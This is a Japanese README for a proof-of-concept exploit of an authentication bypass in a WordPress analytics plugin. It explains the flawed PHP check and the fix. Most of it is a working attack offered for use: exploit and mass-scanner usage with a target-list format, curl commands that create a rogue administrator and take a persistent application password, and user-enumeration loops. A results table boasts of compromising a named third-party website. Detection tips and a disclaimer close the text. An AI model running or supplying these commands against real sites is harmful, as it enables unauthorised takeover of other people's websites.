
CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 未認証の認証バイパスによる管理者アカウントの乗っ取り | 概念実証
| 項目 | 詳細 |
|---|
| CVE ID | CVE-2026-8181 |
| プラグイン | Burst Statistics – Privacy-Friendly WordPress Analytics |
| 影響を受けるバージョン | 3.4.0 – 3.4.1.1 |
| 修正バージョン | 3.4.2 |
| CVSSスコア | 9.8 (Critical) |
| タイプ | CWE-287: Improper Authentication |
| 攻撃ベクトル | ネットワーク / リモート / 認証不要 |
| アクティブインストール数 | 約200,000以上 |
| 発見者 | PRISM, Wordfence Threat Intelligence |
| 公開日 | 2026年5月8日 |
WordPressプラグインBurst Statisticsバージョン3.4.0から3.4.1.1における重大な認証バイパス脆弱性により、攻撃者は認証なしで管理者のユーザー名を知るだけでWordPressの完全な管理者アクセスを取得できます。その結果、管理者アカウントの完全な乗っ取り、新しいアカウントの作成、コンテンツの変更、悪意のあるプラグインのインストールなどが可能になります。
脆弱性はファイルincludes/Frontend/class-mainwp-proxy.phpのメソッドis_mainwp_authenticated()に存在します:
// 脆弱なコード (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field(
wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
);
if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
$credentials = base64_decode(substr($auth_header, 6), true);
// ... parse username:password ...
$is_valid = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($is_valid)) { // ← バグ: null は WP_Error ではない!
return false;
}
$user = get_user_by('login', $username); // ← ユーザー名のみで認証!
if (!$user || !user_can($user, 'manage_burst_statistics')) {
return false;
}
wp_set_current_user($user->ID); // ← 管理者権限を付与
return true;
}
return false;
}
主なバグ: wp_authenticate_application_password(null, $username, $password) は、Application Passwordsが利用できない場合にnullを返します(WP_Errorではありません)。これは以下の場合に発生します:
wp_is_application_passwords_available()がfalseを返す場合is_ssl()がfalseを返すサイトis_wp_error(null)はfalseと評価されるため、コードはget_user_by('login', $username)に進み、パスワードの検証なしでユーザー名のみに基づいて認証を行います。
メソッドhas_admin_access()は、class-burst.phpの118行目でフックplugins_loaded(優先度9)で呼び出されます:
if ($this->has_admin_access()) {
$this->admin = new Admin();
$this->admin->init();
}
このフックはREST APIのルーティング処理より前に実行されるため、wp_set_current_user()はリクエスト全体(Burstのエンドポイントだけではない)に対して管理者権限を付与します。
攻撃者 ──HTTPリクエスト──▶ WordPress
ヘッダー:
X-BURSTMAINWP: 1
Authorization: Basic base64(admin:anything)
│
▼
[plugins_loadedフックが発火]
│
Burst::bootstrap() → has_admin_access()
│
HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
│
wp_authenticate_application_password(null, 'admin', 'anything')
│
HTTPサイト → wp_is_application_passwords_available() = false
│
nullを返す(WP_Errorではない)
│
is_wp_error(null) = false ← バイパス成功!
│
get_user_by('login', 'admin') → 見つかる
│
wp_set_current_user(admin_id) → 完全な管理者権限
│
has_admin_access() = true
│
[REST APIが管理者コンテキストでリクエストを処理]
│
攻撃者はWordPressの**すべての**エンドポイントに管理者としてアクセス
pip3 install requests
# 基本スキャン
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k
# 新しい管理者アカウントを作成
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k
# カスタムユーザー名で
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k
python3 poc_CVE-2026-8181.py
インタラクティブモード:
.txt、1行に1ドメイン)targets.txtの形式:
target1.com
target2.com
192.168.1.100
subdomain.example.org
# ステップ1: 認証バイパスの確認
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
"http://target.com/?rest_route=/wp/v2/users/me&context=edit"
# ステップ2: 新しい管理者アカウントを作成
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/wp/v2/users" \
-d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'
# ステップ3: Application Passwordを取得(永続的な認証情報)
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/burst/v1/mainwp-auth" \
-d '{}'
# 方法1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'
# 方法2: フォールバックルート
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'
# 方法3: 著者列挙
for i in $(seq 1 5); do
curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done
テストはWordPress 6.9 + Burst Statistics 3.4.1.1(ローカルホスト)で実施:
| テスト | 結果 | 証拠 |
|---|---|---|
認証なしで/wp/v2/users/meにアクセス | 失敗 | rest_not_logged_in |
| バイパスヘッダーでアクセス | 成功 | 管理者プロフィール + メール + ロール |
| 新しい管理者アカウントを作成 | 成功 | ユーザーID 2, ロール: administrator |
| WordPress設定を読み取り | 成功 | サイトタイトル、管理者メール、URL |
| Application Passwordを取得 | 成功 | Base64トークン admin:password |
| インストール済みプラグイン一覧 | 成功 | バージョン付きの完全なリスト |
| ターゲット | 結果 |
|---|---|
ausdermitte-binz.de | PWNED成功 — Burst 3.4.1.1, binzwpadmin経由でバイパス、アカウントxenon1337作成(ID:30) |
バージョン3.4.2の修正では、いくつかの問題に対処しています:
// 修正後
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) { // ← WP_Userかどうかをチェック、!WP_Errorではない
return false;
}
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... 認証処理 ...
remove_filter('application_password_is_api_request', $allow, 999);
add_option()による使い捨て強制)wp_application_passwordsユーザーメタ)X-BURSTMAINWP: 1を含むアクセスログを検索wp_usersテーブルで新しい管理者アカウントを監視wp_options内のトランジェントburst_mainwp_app_token_*を確認| ファイル | 説明 |
|---|---|
exploit_CVE-2026-8181.py | 単一ターゲット向けPoCエクスプロイト |
poc_CVE-2026-8181.py | スレッド処理による複数ターゲットマススキャナー |
README.md | 本ドキュメント |
このツールとドキュメントは、明示的な許可を得た正当なセキュリティテストのためのみに使用してください。あなたの所有物ではないシステムへの無許可または書面による許可なしでの使用は違法です。著者は悪用に対する責任を負いません。